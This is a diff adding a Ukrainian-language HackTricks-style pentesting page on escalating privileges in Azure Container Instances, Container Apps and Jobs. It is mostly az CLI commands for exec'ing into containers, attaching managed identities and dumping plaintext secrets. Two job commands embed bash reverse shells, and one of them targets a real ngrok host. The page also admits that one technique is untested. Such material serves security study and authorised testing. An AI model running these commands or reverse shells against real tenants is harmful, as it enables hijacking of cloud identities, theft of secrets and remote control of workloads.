diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md new file mode 100644 index 000000000..a40c7755b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -0,0 +1,177 @@ +# Az - Azure Container Instances, Apps & Jobs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances, Apps & Jobs + +Для отримання додаткової інформації перегляньте: + +{{#ref}} +../az-services/az-container-instances-apps-jobs.md +{{#endref}} + +## ACI + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Ці дозволи дозволяють користувачу **виконати команду** в запущеному контейнері. Це можна використовувати для **ескалації привілеїв** у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, що зберігається всередині контейнера. + +Отримати оболонку так просто, як: +```bash +az container exec --name --resource-group --exec-command '/bin/sh' +``` +Також можливо **прочитати вихідні дані** контейнера за допомогою: +```bash +az container attach --name --resource-group +``` +Або отримайте журнали за допомогою: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ці дозволи дозволяють **прикріпити керовану користувачем ідентичність** до групи контейнерів. Це дуже корисно для ескалації привілеїв у контейнері. + +Щоб прикріпити керовану користувачем ідентичність до групи контейнерів: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ці дозволи дозволяють **створити або оновити групу контейнерів** з **призначеною користувачем ідентичністю** прикріпленою до неї. Це дуже корисно для ескалації привілеїв у контейнері. +```bash +az container create \ +--resource-group \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Крім того, також можливо оновити існуючу групу контейнерів, додавши, наприклад, аргумент **`--command-line`** з реверс-шеллом. + +## ACA + +### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action` + +Ці дозволи дозволяють користувачу **отримати шелл** у запущеному контейнері програми. Це можна використовувати для **ескалації привілеїв** у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, збереженої всередині контейнера. +```bash +az containerapp exec --name --resource-group --command "sh" +az containerapp debug --name --resource-group + +``` +### `Microsoft.App/containerApps/listSecrets/action` + +Ця дозволяє отримати **текст у відкритому вигляді секретів**, налаштованих всередині контейнерного додатку. Зверніть увагу, що секрети можуть бути налаштовані з текстом у відкритому вигляді або з посиланням на сховище ключів (в такому випадку додатку буде призначена керована ідентичність з доступом до секретів). +```bash +az containerapp secret list --name --resource-group +az containerapp secret show --name --resource-group --secret-name +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ці дозволи дозволяють **прикріпити керовану користувачем ідентичність** до контейнерного додатку. Це дуже корисно для ескалації привілеїв у контейнері. Виконання цієї дії з az cli також вимагає дозволу `Microsoft.App/containerApps/listSecrets/action`. + +Щоб прикріпити керовану користувачем ідентичність до контейнерної групи: +```bash +az containerapp identity assign -n -g --user-assigned myUserIdentityName +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action` + +Ці дозволи дозволяють **створювати або оновлювати контейнер додатка** з **прив'язаною керованою ідентичністю користувача**. Це дуже корисно для ескалації привілеїв у контейнері. +```bash +# Get environments +az containerapp env list --resource-group Resource_Group_1 + +# Create app in a an environment +az containerapp create \ +--name \ +--resource-group \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--cpu 1 --memory 1.0 \ +--user-assigned \ +--min-replicas 1 \ +--command "" +``` +> [!TIP] +> Зверніть увагу, що з цими дозволами **інші конфігурації додатку** можуть бути змінені, що може дозволити виконати інші атаки на підвищення привілеїв та пост-експлуатаційні атаки в залежності від конфігурації існуючих додатків. + +## Jobs + +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write` + +Хоча завдання не є тривалими, як контейнерні додатки, ви можете скористатися можливістю переопределити конфігурацію команди завдання під час запуску виконання. Створивши власний шаблон завдання (наприклад, замінивши команду за замовчуванням на реверсний шелл), ви можете отримати доступ до шеллу всередині контейнера, який виконує завдання. +```bash +# Retrieve the current job configuration and save its template: +az containerapp job show --name --resource-group --output yaml > job-template.yaml + +# Edit job-template.yaml to override the command with a reverse shell (or similar payload): +# For example, change the container’s command to: +# - args: +# - -c +# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1 +# command: +# - /bin/bash +# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest + +# Update and wait until the job is triggered (or change ths type to scheduled) +az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml + +# Start a new job execution with the modified template: +az containerapp job start --name --resource-group --yaml job-template.yaml +``` +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action` + +Якщо у вас є ці дозволи, ви можете перерахувати всі секрети (перший дозвіл) всередині контейнера Job, а потім прочитати значення налаштованих секретів. +```bash +az containerapp job secret list --name --resource-group +az containerapp job secret show --name --resource-group --secret-name +``` +### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` + +Якщо у вас є дозвіл на зміну конфігурації роботи, ви можете прикріпити призначену користувачем керовану ідентичність. Ця ідентичність може мати додаткові привілеї (наприклад, доступ до інших ресурсів або секретів), які можуть бути зловживані для ескалації привілеїв всередині контейнера. +```bash +az containerapp job update \ +--name \ +--resource-group \ +--assign-identity +``` +### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Якщо ви можете створити нову задачу Container Apps (або оновити існуючу) і прикріпити керовану ідентичність, ви можете спроектувати задачу для виконання корисного навантаження, яке підвищує привілеї. Наприклад, ви могли б створити нову задачу, яка не тільки запускає реверс-шелл, але й використовує облікові дані керованої ідентичності для запиту токенів або доступу до інших ресурсів. +```bash +az containerapp job create \ +--name \ +--resource-group \ +--environment \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--user-assigned \ +--trigger-type Schedule \ +--cron-expression "*/1 * * * *" \ +--replica-timeout 1800 \ +--replica-retry-limit 0 \ +--command "bash -c 'bash -i >& /dev/tcp// 0>&1'" +``` +> [!TIP] +> Ця команда викличе помилку, якщо у вас немає дозволу `Microsoft.App/jobs/read`, хоча Завдання буде створено. + +### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read` + +Схоже, що з цими дозволами має бути можливим запустити завдання. Це можна використовувати для запуску завдання з реверс-шеллом або будь-якою іншою шкідливою командою без необхідності змінювати конфігурацію завдання. + +Я не зміг змусити це працювати, але згідно з дозволеними параметрами це має бути можливим. + + +{{#include ../../../banners/hacktricks-training.md}}